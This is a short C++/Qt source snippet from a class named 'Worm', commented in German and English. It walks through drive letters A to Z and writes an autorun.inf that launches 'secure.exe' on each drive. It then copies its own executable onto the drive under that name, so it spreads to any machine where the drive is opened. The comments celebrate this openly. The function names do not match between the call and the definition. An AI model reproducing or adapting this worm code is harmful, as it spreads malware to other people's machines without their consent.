/* Der Aufruf der Funktion "InjectDrives" erfolgt so -> Ja ach, das ist ja gar kein CArray xD*/ for(char Carray = 'A'; Carray <= 'Z';Carray++) { Worm::InfectDrivers(Carray); } /*Ich hätte es auch Rekrusiv machen könne, war aber zu faul*/ void Worm::InfectDrives(char driver) { /* We print this string into autorun.inf ;-) "secure.exe" is our Worm! */ this->QMsg = "[autorun]\nopen=secure.exe"; /* The driver name */ this->QDriver = QString(driver); /* Now it\'s a real link */ this->QDriver.append(":/"); if(this->QDirOb.exists(this->QDriver)) { this->QDirOb = this->QDriver; this->QFileOb.setFileName(this->QDirOb.absoluteFilePath("autorun.inf")); } else{return;} if (!this->QFileOb.open(QIODevice::WriteOnly)) { // lol.. We can't open this file. qDebug() << "Error-Pfad: " << this->QDirOb.absoluteFilePath(this->QFileOb.fileName()) << "\nError: "<< this->QFileOb.error() << "\n"; } else { QTextStream out(&this->QFileOb); out << this->QMsg; /* Hell Yeah! It's beautiful <3 */ if(!QFile::exists(QDirOb.absoluteFilePath("secure.exe"))) { if(CopyFile(QCoreApplication::applicationFilePath(), QDirOb.absoluteFilePath("secure.exe"))) {} else { qDebug() << "Error: " << QDirOb.absoluteFilePath("secure.exe"); } } else { qDebug() << QDirOb.absoluteFilePath("secure.exe") << " existiert.. [O,o] ?!\n"; } } this->QFileOb.close(); } bool Worm::CopyFile(QString fileName, QString newName) { if(fileName.isEmpty() || newName.isEmpty()) { return false; } else { return QFile::copy(fileName, newName); } }